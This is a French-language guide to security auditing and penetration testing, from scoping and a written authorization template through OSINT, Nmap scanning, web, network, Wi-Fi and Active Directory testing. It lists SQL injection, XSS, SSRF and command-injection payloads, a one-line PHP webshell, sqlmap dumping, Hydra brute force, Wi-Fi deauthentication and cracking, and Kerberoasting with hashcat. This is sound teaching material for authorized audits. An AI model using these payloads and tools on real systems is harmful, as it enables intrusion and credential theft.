1. Introduction à l'audit de sécurité

Un audit de sécurité informatique est une évaluation méthodique et approfondie de la posture de sécurité d'un système d'information. Il vise à identifier les vulnérabilités, évaluer les risques et proposer des mesures correctives pour renforcer la protection des données et des infrastructures.

Types d'audits

Type	Description	Connaissances fournies	Réalisme
Boîte noire (Black Box)	Aucune information préalable sur la cible	Aucune (simule un attaquant externe)	★★★★★
Boîte grise (Grey Box)	Informations partielles (comptes utilisateur, schéma réseau partiel)	Credentials basiques, documentation partielle	★★★★
Boîte blanche (White Box)	Accès complet (code source, architecture, comptes admin)	Tout : code, configs, accès réseau, documentation	★★★

Cadre légal

Normes et référentiels

Norme / Référentiel	Domaine	Description
ISO 27001	SMSI global	Système de management de la sécurité de l'information
PCI-DSS	Paiement	Sécurité des données de cartes bancaires
NIST CSF	Framework général	Identify, Protect, Detect, Respond, Recover
ANSSI (PASSI)	Audit France	Référentiel d'audit de sécurité certifié ANSSI
OWASP Testing Guide	Sécurité Web	Méthodologie complète de test d'applications web
PTES	Pentest	Penetration Testing Execution Standard

Rôles dans un audit

• Commanditaire : l'organisation qui demande l'audit et définit les objectifs
• Auditeur(s) : l'équipe technique réalisant les tests (interne ou prestataire PASSI)
• Périmètre (scope) : les systèmes, réseaux et applications inclus dans l'audit
• Référent technique : interlocuteur côté client pour répondre aux questions
• RSSI : responsable de la sécurité qui valide le rapport et le plan de remédiation

2. Préparation de l'audit

Définition du périmètre (scope)

Le périmètre définit précisément ce qui sera testé et ce qui est exclu. Un périmètre mal défini est la première cause d'échec d'un audit.

Élément	Exemple	Inclus / Exclu
Plages IP	192.168.1.0/24, 10.0.0.0/16	Inclus
Domaines	exemple.com, *.exemple.com	Inclus
Applications web	https://app.exemple.com	Inclus
Infrastructure cloud	AWS compte 123456789	Inclus
Serveurs de production critiques	srv-bdd-prod01	Exclu (risque d'interruption)
Systèmes tiers	CDN Cloudflare, API partenaires	Exclu (pas d'autorisation)

Convention d'audit et autorisation écrite

Le document d'autorisation doit contenir :

CONVENTION D'AUDIT DE SÉCURITÉ

Date : [JJ/MM/AAAA]
Référence : AUDIT-[AAAA]-[NNN]

COMMANDITAIRE :
- Raison sociale : [Nom de l'entreprise]
- Représentant : [Nom, Titre]
- Contact : [Email, Téléphone]

AUDITEUR :
- Raison sociale : [Nom du prestataire]
- Responsable : [Nom de l'auditeur principal]
- Équipe : [Noms des auditeurs]

PÉRIMÈTRE :
- Adresses IP : [Liste]
- Domaines : [Liste]
- Applications : [Liste]
- Exclusions : [Liste]

DATES :
- Début : [JJ/MM/AAAA HH:MM]
- Fin : [JJ/MM/AAAA HH:MM]
- Créneau horaire autorisé : [ex: 22h-06h]

TYPE DE TEST : [Boîte noire / grise / blanche]
TESTS AUTORISÉS : [Scan de ports, exploitation, ingénierie sociale, DoS...]
TESTS INTERDITS : [ex: Déni de service sur la production]

CONTACTS D'URGENCE :
- Technique : [Nom] - [Téléphone] (24/7)
- Direction : [Nom] - [Téléphone]

Signature Commanditaire : _______________
Signature Auditeur : _______________

Identification des assets

Créez un inventaire complet des actifs dans le périmètre :

# Découverte DNS initiale
dig exemple.com ANY
dig exemple.com MX
dig exemple.com NS
dig exemple.com TXT

# Énumération de sous-domaines
subfinder -d exemple.com -o subdomains.txt
amass enum -d exemple.com -o amass_results.txt

# Vérification des IP
host exemple.com
nslookup exemple.com

# Range IP à partir du WHOIS
whois 203.0.113.0 | grep -i "netrange\|cidr\|netname"

Planning et jalons

Phase	Durée estimée	Livrable
Cadrage et préparation	1-2 jours	Convention signée, inventaire assets
Reconnaissance passive	1-2 jours	Rapport OSINT
Reconnaissance active	2-3 jours	Cartographie réseau, liste vulnérabilités
Exploitation	3-5 jours	Preuves d'exploitation (PoC)
Post-exploitation	1-2 jours	Évaluation d'impact
Rédaction du rapport	2-3 jours	Rapport final
Restitution	0.5 jour	Présentation aux décideurs

3. Phase 1 — Reconnaissance passive (OSINT)

La reconnaissance passive consiste à collecter un maximum d'informations sur la cible sans interagir directement avec ses systèmes. Cette phase est indétectable par la cible.

DNS et WHOIS

La première étape consiste à cartographier l'infrastructure DNS de la cible.

# WHOIS - Informations sur le propriétaire du domaine
whois exemple.com

# Enregistrements DNS complets
dig exemple.com ANY +noall +answer
dig exemple.com A
dig exemple.com AAAA
dig exemple.com MX
dig exemple.com NS
dig exemple.com TXT
dig exemple.com SOA
dig exemple.com CNAME

# Transfert de zone (souvent désactivé mais à tester)
dig axfr exemple.com @ns1.exemple.com

# Reverse DNS
dig -x 203.0.113.50

# Énumération de sous-domaines
subfinder -d exemple.com -silent
amass enum -passive -d exemple.com
assetfinder --subs-only exemple.com

# Découverte via Certificate Transparency
curl -s "https://crt.sh/?q=%25.exemple.com&output=json" | jq '.[].name_value' | sort -u

# DNSRecon
dnsrecon -d exemple.com -t std
dnsrecon -d exemple.com -t brt -D /usr/share/wordlists/subdomains.txt

Google Dorking

Les opérateurs de recherche avancés de Google permettent de trouver des informations exposées involontairement.

# Fichiers sensibles exposés
site:exemple.com filetype:pdf
site:exemple.com filetype:xls OR filetype:xlsx OR filetype:csv
site:exemple.com filetype:doc OR filetype:docx
site:exemple.com filetype:sql OR filetype:bak OR filetype:log
site:exemple.com filetype:env OR filetype:cfg OR filetype:conf

# Pages de login et panneaux d'administration
site:exemple.com inurl:admin
site:exemple.com inurl:login OR inurl:signin OR inurl:auth
site:exemple.com intitle:"index of" inurl:admin
site:exemple.com inurl:wp-admin OR inurl:wp-login

# Répertoires exposés
site:exemple.com intitle:"index of /"
site:exemple.com intitle:"index of" "parent directory"
site:exemple.com intitle:"index of" ".git"
site:exemple.com intitle:"index of" "backup"

# Informations sensibles
site:exemple.com intext:"mot de passe" OR intext:"password"
site:exemple.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf
site:exemple.com "DB_PASSWORD" OR "DB_HOST" OR "API_KEY"

# Erreurs et informations techniques
site:exemple.com intext:"error" OR intext:"warning" filetype:log
site:exemple.com "PHP Parse error" OR "PHP Warning" OR "PHP Fatal error"
site:exemple.com "mysql_connect" OR "mysqli_connect"
site:exemple.com "Not Found" inurl:404

OSINT sur les personnes et l'organisation

# Récolte d'adresses email
theHarvester -d exemple.com -b all -l 500

# hunter.io via API
curl "https://api.hunter.io/v2/domain-search?domain=exemple.com&api_key=API_KEY"

# Vérification de fuites de données (Have I Been Pwned)
# Vérifier manuellement : https://haveibeenpwned.com/

# LinkedIn : rechercher les employés, technologies utilisées
# GitHub : rechercher des repos de l'organisation
# Identifier les technologies : Wappalyzer, BuiltWith

Shodan, Censys et autres moteurs

# Shodan - Recherche par IP
shodan host 203.0.113.50

# Shodan - Recherche par domaine
shodan search hostname:exemple.com

# Shodan - Recherche par organisation
shodan search org:"Nom Entreprise"

# Shodan - Filtres avancés
shodan search "apache" country:"FR" port:443 org:"Nom Entreprise"

# Censys
censys search "exemple.com" --index-type hosts

# crt.sh - Certificats SSL
curl -s "https://crt.sh/?q=exemple.com&output=json" | jq '.[] | {name_value, issuer_name, not_before, not_after}'

# SecurityTrails (API)
curl -s "https://api.securitytrails.com/v1/domain/exemple.com" \
  -H "APIKEY: votre_cle_api"

4. Phase 2 — Reconnaissance active et scan

La reconnaissance active implique une interaction directe avec les systèmes cibles. Cette phase est détectable par les IDS/IPS et les journaux du serveur.

Scan de ports et services

Commandes Nmap essentielles pour l'audit

# Scan SYN rapide (stealth scan) - Top 1000 ports
sudo nmap -sS -T4 192.168.1.0/24

# Scan complet de tous les ports TCP
sudo nmap -sS -p- -T4 --min-rate 1000 192.168.1.1

# Scan UDP des ports courants
sudo nmap -sU --top-ports 200 -T4 192.168.1.1

# Détection de version et OS
sudo nmap -sS -sV -O -T4 192.168.1.1

# Scan agressif complet (version + OS + scripts + traceroute)
sudo nmap -A -T4 -p- 192.168.1.1

# Scripts NSE de détection de vulnérabilités
sudo nmap --script vuln -sV 192.168.1.1
sudo nmap --script "safe and vuln" -sV -p 80,443 192.168.1.1

# Scripts spécifiques
sudo nmap --script http-enum -p 80,443 192.168.1.1
sudo nmap --script ssl-enum-ciphers -p 443 192.168.1.1
sudo nmap --script smb-vuln* -p 445 192.168.1.1
sudo nmap --script dns-zone-transfer -p 53 ns1.exemple.com

# Scan de découverte réseau complet
sudo nmap -sn 192.168.1.0/24 -oG alive_hosts.gnmap
grep "Up" alive_hosts.gnmap | awk '{print $2}' > alive_ips.txt
sudo nmap -sS -sV -O -T4 -p- -iL alive_ips.txt -oA full_scan

# Export des résultats
sudo nmap -sS -sV -O -T4 192.168.1.1 -oA scan_results  # tous les formats
sudo nmap -sS -sV -T4 192.168.1.1 -oX scan.xml          # XML pour import

Interprétation des résultats

État du port	Signification	Action
open	Service actif acceptant les connexions	Analyser le service, chercher des CVE
closed	Port accessible mais aucun service	Surveiller, peut indiquer un firewall mal configuré
filtered	Filtré par un firewall (pas de réponse)	Tenter d'autres techniques de scan
open|filtered	Nmap ne peut pas déterminer l'état	Essayer un scan de version (-sV)

Scan de vulnérabilités

# Nessus (scanner commercial)
# Interface web : https://localhost:8834
# Créer un scan "Advanced Scan" avec les IP cibles

# OpenVAS (open source)
sudo gvm-setup
sudo gvm-start
# Interface web : https://localhost:9392

# Nuclei (rapide, templates communautaires)
nuclei -u https://exemple.com -t cves/ -severity critical,high
nuclei -l urls.txt -t cves/ -t vulnerabilities/ -o nuclei_results.txt

# Nikto (scanner web)
nikto -h https://exemple.com -output nikto_report.html -Format htm

# WPScan (WordPress)
wpscan --url https://exemple.com --enumerate vp,vt,u --api-token TOKEN

Priorisation par score CVSS

Score CVSS	Sévérité	Délai de correction recommandé
9.0 - 10.0	Critique	Immédiat (24-48h)
7.0 - 8.9	Haute	1 semaine
4.0 - 6.9	Moyenne	1 mois
0.1 - 3.9	Faible	3 mois
0.0	Info	Selon le contexte

Énumération des services

Web

# Gobuster - Découverte de répertoires
gobuster dir -u https://exemple.com -w /usr/share/wordlists/dirb/common.txt -t 50 -o gobuster.txt
gobuster dir -u https://exemple.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,js,txt,bak

# Feroxbuster (plus rapide, récursif)
feroxbuster -u https://exemple.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 3

# ffuf - Fuzzing rapide
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://exemple.com/FUZZ -mc 200,301,302,403
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://exemple.com/FUZZ -e .php,.html,.txt,.bak

# Découverte de vhosts
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://exemple.com -H "Host: FUZZ.exemple.com" -mc 200

SMB (port 445)

# Énumération complète
enum4linux -a 192.168.1.1

# Lister les partages
smbclient -L //192.168.1.1 -N
crackmapexec smb 192.168.1.1 --shares

# Accéder à un partage
smbclient //192.168.1.1/share_name -N

# Nmap scripts SMB
nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 192.168.1.1

SNMP (port 161)

# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1

# Walk SNMP complet
snmpwalk -v2c -c public 192.168.1.1

# Informations système
snmpwalk -v2c -c public 192.168.1.1 system

LDAP (port 389/636)

# Test de connexion anonyme
ldapsearch -x -H ldap://192.168.1.1 -b "dc=exemple,dc=com"

# Énumération avec credentials
ldapsearch -x -H ldap://192.168.1.1 -D "user@exemple.com" -w "password" -b "dc=exemple,dc=com" "(objectClass=user)"

5. Phase 3 — Audit de sécurité Web

L'audit web suit la méthodologie OWASP Testing Guide et couvre les vulnérabilités les plus courantes et les plus dangereuses des applications web.

Test des en-têtes de sécurité HTTP

En-tête	Valeur recommandée	Protection
Content-Security-Policy	default-src 'self'; script-src 'self'	XSS, injection de contenu
Strict-Transport-Security	max-age=31536000; includeSubDomains; preload	Downgrade HTTPS → HTTP
X-Frame-Options	DENY ou SAMEORIGIN	Clickjacking
X-Content-Type-Options	nosniff	MIME type sniffing
Referrer-Policy	strict-origin-when-cross-origin	Fuite d'URL via Referer
Permissions-Policy	camera=(), microphone=(), geolocation=()	Accès aux fonctions du navigateur
X-XSS-Protection	0 (désactiver, préférer CSP)	Filtre XSS navigateur (obsolète)

# Vérifier les en-têtes avec curl
curl -I https://exemple.com
curl -sI https://exemple.com | grep -iE "^(content-security|strict-transport|x-frame|x-content|referrer-policy|permissions-policy|x-xss)"

# Vérifier les cookies de session
curl -sI https://exemple.com/login | grep -i "set-cookie"
# Vérifier : Secure, HttpOnly, SameSite=Strict ou Lax

Test de la configuration TLS/SSL

# testssl.sh - Analyse complète TLS
./testssl.sh https://exemple.com
./testssl.sh --severity HIGH --color 3 exemple.com

# OpenSSL - Vérification manuelle
openssl s_client -connect exemple.com:443 -tls1_2
openssl s_client -connect exemple.com:443 -tls1_3
openssl s_client -connect exemple.com:443 < /dev/null 2>/dev/null | openssl x509 -text -noout

# Vérifier les protocoles obsolètes (doivent échouer)
openssl s_client -connect exemple.com:443 -ssl3    # Doit échouer
openssl s_client -connect exemple.com:443 -tls1    # Doit échouer
openssl s_client -connect exemple.com:443 -tls1_1  # Doit échouer

# Nmap - Enumération des cipher suites
nmap --script ssl-enum-ciphers -p 443 exemple.com

Protocoles et cipher suites

Protocole	Statut	Recommandation
SSL 2.0 / SSL 3.0	Obsolète	Désactiver impérativement
TLS 1.0	Déprécié	Désactiver (BEAST, POODLE)
TLS 1.1	Déprécié	Désactiver
TLS 1.2	Accepté	Activer avec cipher suites fortes
TLS 1.3	Recommandé	Activer en priorité

Test CORS

# Test CORS basique
curl -sI -H "Origin: https://evil.com" https://exemple.com/api/ | grep -i "access-control"

# Test avec credentials
curl -sI -H "Origin: https://evil.com" -H "Cookie: session=test" https://exemple.com/api/ | grep -i "access-control"

# Test de reflection d'origine
curl -sI -H "Origin: https://attacker.com" https://exemple.com/api/
# DANGEREUX si Access-Control-Allow-Origin: https://attacker.com

# Test de wildcard avec credentials
# DANGEREUX : Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true

Configurations CORS dangereuses

Configuration	Risque	Impact
Access-Control-Allow-Origin: *	Moyen	Tout site peut lire les réponses (sans cookies)
Reflection de l'Origin	Critique	N'importe quel site est autorisé
null autorisé	Critique	Exploitable via sandboxed iframes
Wildcard + Credentials	Critique	Vol de session possible

Tests d'injection

SQL Injection

# Payloads de détection basiques
' OR '1'='1
' OR '1'='1' --
' UNION SELECT NULL,NULL,NULL --
" OR ""="
1' ORDER BY 1--+
1' AND 1=1--+
1' AND 1=2--+

# sqlmap - Détection automatique
sqlmap -u "https://exemple.com/page?id=1" --batch --banner
sqlmap -u "https://exemple.com/page?id=1" --dbs
sqlmap -u "https://exemple.com/page?id=1" -D database_name --tables
sqlmap -u "https://exemple.com/page?id=1" -D database_name -T users --dump

# sqlmap avec fichier de requête Burp
sqlmap -r request.txt --batch --level 5 --risk 3

# sqlmap - Contournement WAF
sqlmap -u "https://exemple.com/page?id=1" --tamper=space2comment,between --random-agent

Cross-Site Scripting (XSS)

# Payloads de détection XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')
<img src=x onerror=alert(document.domain)>
<details open ontoggle=alert('XSS')>

# Contournement de filtres
<ScRiPt>alert('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src="x" onerror="alert('XSS')">

# XSStrike - Scanner automatisé
python3 xsstrike.py -u "https://exemple.com/search?q=test"
python3 xsstrike.py -u "https://exemple.com/search?q=test" --crawl

Server-Side Request Forgery (SSRF)

# Payloads SSRF classiques
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://169.254.169.254/latest/meta-data/  # AWS metadata
http://metadata.google.internal/           # GCP metadata

# Contournement de filtres
http://0x7f000001          # IP en hexadécimal
http://2130706433           # IP en décimal
http://127.1                # Notation courte
http://127.0.0.1.nip.io    # DNS rebinding

Command Injection

# Payloads de détection
; ls -la
| ls -la
&& ls -la
|| ls -la
`ls -la`
$(ls -la)
; sleep 10
| sleep 10

# Blind command injection (time-based)
; sleep 5 #
| sleep 5 #
&& sleep 5 &&

# Commix - Outil automatisé
python3 commix.py -u "https://exemple.com/ping?ip=127.0.0.1" --batch

Tests d'authentification et de session

# Brute force avec Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt https-post-form \
  "exemple.com/login:username=^USER^&password=^PASS^:Invalid credentials" -t 10

# Brute force avec Burp Suite Intruder
# 1. Capturer la requête de login dans Burp Proxy
# 2. Envoyer à Intruder
# 3. Définir les positions (username, password)
# 4. Charger les wordlists
# 5. Lancer l'attaque

# Test de politique de mot de passe
# Vérifier : longueur minimale, complexité, historique, expiration

# Test de session
# Vérifier la longueur et l'entropie du token de session
# Vérifier la rotation après authentification
# Vérifier l'invalidation après déconnexion
# Vérifier les attributs du cookie (Secure, HttpOnly, SameSite)

# Test de session fixation
# 1. Récupérer un token de session non authentifié
# 2. S'authentifier avec ce token
# 3. Vérifier si le token change après login

Tests d'autorisation (IDOR, privilege escalation)

# IDOR (Insecure Direct Object Reference)
# Modifier les identifiants dans les URLs et requêtes API
GET /api/users/123/profile    # Mon profil
GET /api/users/124/profile    # Profil d'un autre utilisateur ?
GET /api/invoices/1001        # Ma facture
GET /api/invoices/1002        # Facture d'un autre client ?

# Privilege escalation horizontale
# Se connecter avec un utilisateur standard
# Tenter d'accéder aux fonctions d'un autre utilisateur du même niveau

# Privilege escalation verticale
# Se connecter avec un utilisateur standard
# Tenter d'accéder aux fonctions admin
POST /api/admin/users         # Créer un utilisateur (fonction admin)
DELETE /api/admin/users/123   # Supprimer un utilisateur

# Manipulation de paramètres
POST /api/profile/update
{"name": "John", "role": "admin"}   # Ajout du champ role

Upload de fichiers malveillants

# Tests d'upload
# 1. Extension double : shell.php.jpg
# 2. Extension alternative : shell.php5, shell.phtml, shell.phar
# 3. Null byte : shell.php%00.jpg (ancien PHP)
# 4. Content-Type manipulation : image/jpeg avec contenu PHP
# 5. Fichier polyglotte : image JPEG valide contenant du PHP

# Webshell PHP simple (pour PoC uniquement)
<?php echo system($_GET['cmd']); ?>

# Vérifications à faire :
# - Le serveur valide-t-il l'extension ?
# - Le serveur valide-t-il le Content-Type ?
# - Le serveur valide-t-il le contenu du fichier (magic bytes) ?
# - Les fichiers uploadés sont-ils exécutables ?
# - Le répertoire d'upload est-il accessible directement ?

Tests d'API REST/GraphQL

# Découverte d'endpoints API
# Vérifier : /api/, /v1/, /v2/, /swagger, /api-docs, /graphql, /graphiql

# Test d'authentification API
curl -X GET https://exemple.com/api/users -H "Authorization: Bearer TOKEN_INVALIDE"
curl -X GET https://exemple.com/api/users  # Sans token

# Test de rate limiting
for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" https://exemple.com/api/login; done

# GraphQL - Introspection
curl -X POST https://exemple.com/graphql -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name}}}}"}'

# GraphQL - Query depth attack
# Requêtes imbriquées profondément pour tester les protections DoS

6. Phase 4 — Audit réseau et infrastructure

Analyse du trafic réseau

# Capture de trafic avec tcpdump
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 -w capture.pcap host 192.168.1.1
sudo tcpdump -i eth0 -w capture.pcap port 80 or port 443

# Filtres Wireshark pour détecter les anomalies

# Credentials en clair (HTTP, FTP, Telnet)
http.request.method == "POST"
ftp.request.command == "PASS"
telnet

# Requêtes DNS suspectes (exfiltration DNS)
dns.qry.name contains ".evil.com"
dns.qry.name matches "^[a-zA-Z0-9]{50,}"

# Trafic ARP anormal (ARP spoofing)
arp.duplicate-address-detected

# Trafic ICMP anormal (tunnel ICMP)
icmp && data.len > 64

# Scan de ports détecté
tcp.flags.syn == 1 && tcp.flags.ack == 0

# Communication avec des IP suspectes
ip.geoip.country != "FR"

Analyse des ports exposés

Ports qui ne doivent JAMAIS être exposés sur Internet

Port	Service	Risque
21	FTP	Credentials en clair, exploits multiples
23	Telnet	Tout passe en clair, aucune sécurité
135-139	NetBIOS/RPC	Exploitation Windows, énumération
445	SMB	EternalBlue, WannaCry, ransomwares
1433	MSSQL	Brute force, injection SQL directe
3306	MySQL	Brute force, accès base de données
3389	RDP	BlueKeep, brute force, ransomware
5432	PostgreSQL	Brute force, accès base de données
5900	VNC	Souvent sans authentification forte
6379	Redis	Souvent sans authentification, RCE possible
27017	MongoDB	Souvent sans authentification

Vérification de la blacklist IP

# Vérifier manuellement sur les principales blacklists
# Spamhaus, Barracuda, SORBS, UCEPROTECT, Spamcop

# Vérification IP
curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=203.0.113.50" \
  -H "Key: API_KEY" -H "Accept: application/json"

Vérification SPF/DKIM/DMARC (sécurité email)

# Vérifier SPF
dig TXT exemple.com | grep "v=spf1"
# Recommandé : v=spf1 include:_spf.google.com -all (terminaison -all stricte)

# Vérifier DKIM
dig TXT google._domainkey.exemple.com
# Vérifier la présence d'un enregistrement DKIM valide

# Vérifier DMARC
dig TXT _dmarc.exemple.com
# Recommandé : v=DMARC1; p=reject; rua=mailto:dmarc@exemple.com; pct=100

# Configurations recommandées
# SPF : -all (hard fail) au lieu de ~all (soft fail)
# DKIM : Clé RSA 2048 bits minimum
# DMARC : p=reject (rejet) au lieu de p=none (monitoring seulement)

Test de segmentation réseau

# Vérifier l'isolation entre VLANs
# Depuis le VLAN utilisateurs, tenter d'atteindre le VLAN serveurs
ping 10.0.1.1    # Serveur dans un autre VLAN
nmap -sn 10.0.1.0/24   # Scan du VLAN serveurs

# Vérifier les règles de firewall
# Tester l'accès aux ports qui devraient être bloqués
nmap -Pn -p 22,3389,445,3306,5432 10.0.1.1

# Test de lateral movement
# Après compromission d'une machine, tenter d'atteindre d'autres segments
crackmapexec smb 192.168.1.0/24 -u user -p password
crackmapexec winrm 192.168.1.0/24 -u user -p password

# Vérifier la DMZ
# Les serveurs en DMZ ne doivent PAS pouvoir initier de connexions vers le LAN
# Les serveurs en DMZ ne doivent avoir que les ports nécessaires ouverts vers Internet

Audit Wi-Fi

# Scanner les réseaux Wi-Fi disponibles
sudo airodump-ng wlan0mon

# Vérifications clés :
# - WPA2-Enterprise (EAP-TLS) préféré au WPA2-PSK
# - WPA3 si disponible
# - SSID d'entreprise non diffusé (optionnel, faible protection)
# - Isolation client activée (pas de communication entre clients Wi-Fi)
# - Réseau invité isolé du réseau d'entreprise
# - Portail captif pour le réseau invité
# - Journalisation des connexions

# Test de force du mot de passe WPA2-PSK
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF wlan0mon  # Déauth pour capturer handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

7. Phase 5 — Audit Active Directory et Windows

Énumération Active Directory

# Module ActiveDirectory PowerShell
Import-Module ActiveDirectory

# Énumération des utilisateurs
Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Enabled, LastLogonDate, PasswordLastSet, PasswordNeverExpires
Get-ADUser -Filter {Enabled -eq $true} -Properties PasswordLastSet | Where-Object {$_.PasswordLastSet -lt (Get-Date).AddDays(-90)}

# Énumération des groupes privilégiés
Get-ADGroupMember "Domain Admins" -Recursive | Select-Object Name, SamAccountName
Get-ADGroupMember "Enterprise Admins" -Recursive | Select-Object Name, SamAccountName
Get-ADGroupMember "Schema Admins" -Recursive | Select-Object Name, SamAccountName
Get-ADGroupMember "Administrators" -Recursive | Select-Object Name, SamAccountName

# Énumération des GPO
Get-GPO -All | Select-Object DisplayName, ModificationTime, GpoStatus
Get-GPResultantSetOfPolicy -ReportType Html -Path "C:\gpresult.html"

# Énumération des trusts
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, IntraForest

# Énumération des ordinateurs
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate | Select-Object Name, OperatingSystem, LastLogonDate | Sort-Object LastLogonDate

# Énumération des comptes de service
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalName

Outils spécialisés

# BloodHound / SharpHound - Collecte et visualisation des chemins d'attaque
.\SharpHound.exe -c All
# Importer le fichier ZIP dans BloodHound (interface Neo4j)

# PingCastle - Audit AD automatique (score de santé)
.\PingCastle.exe --healthcheck --server dc01.exemple.com
# Génère un rapport HTML avec score global

# ADRecon - Collecte complète
.\ADRecon.ps1 -OutputType HTML

Recherche de privilèges excessifs

# Comptes avec privilèges Domain Admin (doivent être minimaux)
Get-ADGroupMember "Domain Admins" | Measure-Object
# Règle : moins de 5 comptes Domain Admin

# Comptes avec mot de passe qui n'expire jamais
Get-ADUser -Filter {PasswordNeverExpires -eq $true -and Enabled -eq $true} | Select-Object Name, SamAccountName

# Comptes avec délégation non contrainte (risque élevé)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name

# Kerberoasting - Extraction de tickets TGS
# Impacket
python3 GetUserSPNs.py exemple.com/user:password -dc-ip 10.0.0.1 -request
# Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# AS-REP Roasting - Comptes sans pré-authentification Kerberos
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | Select-Object Name
# Impacket
python3 GetNPUsers.py exemple.com/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcat

# Craquage des hashes extraits
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt  # Kerberoasting
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt      # AS-REP Roasting

Analyse des GPO de sécurité

# Politique de mot de passe
Get-ADDefaultDomainPasswordPolicy
# Vérifier :
# - MinPasswordLength >= 12
# - ComplexityEnabled = True
# - LockoutThreshold = 5
# - LockoutDuration >= 30 min
# - MaxPasswordAge <= 90 jours (débat en cours, NIST recommande de ne pas forcer le changement)

# Politique d'audit
auditpol /get /category:*
# Vérifier que les événements critiques sont audités :
# - Logon/Logoff : Success + Failure
# - Account Management : Success + Failure
# - Privilege Use : Success + Failure

# AppLocker / WDAC
Get-AppLockerPolicy -Effective -Xml
# Vérifier que des règles de restriction d'exécution sont en place

# PowerShell Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode
# Recommandé : ConstrainedLanguage sur les postes utilisateurs

Événements de sécurité critiques

Event ID	Description	Importance
4624	Connexion réussie	Surveillance des connexions inhabituelles
4625	Connexion échouée	Détection de brute force
4648	Connexion avec credentials explicites	Pass-the-hash, runas
4672	Privilèges spéciaux attribués	Connexion admin
4720	Création de compte utilisateur	Création non autorisée
4732	Membre ajouté à un groupe local	Élévation de privilèges
1102	Journal d'audit effacé	Tentative de dissimulation
7045	Nouveau service installé	Persistance malware

# Rechercher les connexions échouées (brute force)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 100 |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='IP';E={$_.Properties[19].Value}}

# Rechercher les connexions admin
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4672} -MaxEvents 50 |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}

# Rechercher les journaux effacés
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102}

# Rechercher les nouveaux services
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} -MaxEvents 50 |
  Select-Object TimeCreated, @{N='ServiceName';E={$_.Properties[0].Value}}, @{N='ImagePath';E={$_.Properties[1].Value}}

Credential dumping et mitigation

# Protection LSASS
# Vérifier RunAsPPL (Protection du processus LSASS)
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
# Recommandé : RunAsPPL = 1

# Vérifier Credential Guard
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# Recommandé : VirtualizationBasedSecurityStatus = 2 (Running)

# Mitigation NTLM relay
# Vérifier LDAP signing
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity"
# Recommandé : LDAPServerIntegrity = 2 (Required)

# Vérifier SMB signing
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
# Recommandé : RequireSecuritySignature = True

Checklist de durcissement AD

Vérification	Commande / Méthode	Valeur attendue
Nombre de Domain Admins	(Get-ADGroupMember "Domain Admins").Count	≤ 5
Mots de passe n'expirant jamais	Comptes avec PasswordNeverExpires	0 (sauf comptes de service gérés)
Délégation non contrainte	TrustedForDelegation = $true	Uniquement les DC
Comptes SPN (Kerberoastable)	Comptes avec ServicePrincipalName	Mots de passe forts (25+ caractères)
LSASS Protection	RunAsPPL	1 (activé)
SMB Signing	RequireSecuritySignature	True
LDAP Signing	LDAPServerIntegrity	2 (Required)
Niveau fonctionnel du domaine	(Get-ADDomain).DomainMode	Windows2016Domain ou supérieur

8. Phase 6 — Analyse des menaces et malwares

Framework MITRE ATT&CK

Le framework MITRE ATT&CK permet de classifier les techniques d'attaque observées pendant l'audit selon une matrice standardisée :

Tactique	Description	Exemples de techniques
Initial Access	Vecteur d'entrée initial	Phishing, exploitation de service public
Execution	Exécution de code malveillant	PowerShell, WMI, macros
Persistence	Maintien de l'accès	Tâches planifiées, registre, services
Privilege Escalation	Élévation de privilèges	Exploitation de vulnérabilités, token manipulation
Defense Evasion	Évitement des défenses	Obfuscation, désactivation d'AV
